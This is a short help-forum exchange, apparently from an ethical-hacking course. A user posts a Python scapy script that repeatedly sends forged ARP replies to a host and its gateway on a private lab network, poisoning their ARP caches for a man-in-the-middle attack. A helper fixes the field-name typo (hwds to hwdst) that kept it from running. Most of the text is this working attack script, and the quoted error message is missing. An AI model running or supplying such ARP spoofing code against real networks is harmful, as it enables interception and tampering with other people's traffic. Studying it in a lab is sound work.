Hello,

While i run this code I get the below message:

#!/usr/bin/env python

import scapy.all as scapy
import time

def get_mac(ip):
    arp_request = scapy.ARP(pdst=ip)
    broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast/arp_request
    answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]

    return answered_list[0][1].hwsrc

def spoof(target_ip, spoof_ip):
    target_mac = get_mac(target_ip)
    packet = scapy.ARP(op=2, pdst=target_ip, hwds=target_mac, psrc=spoof_ip)
    # print(packet.show())
    # print(packet.summary())
    scapy.send(packet)

while True:
    spoof("10.0.2.6", "10.0.2.1")
    spoof("10.0.2.1", "10.0.2.6")
    time.sleep(2)

this is the error:

Can you help please?

Hi Simo!
You have a typo in this line:
packet = scapy.ARP(op=2, pdst=target_ip, hwds=target_mac, psrc=spoof_ip)

it should be hwdst not hwds.

Change it and let me know how it goes!
Diego
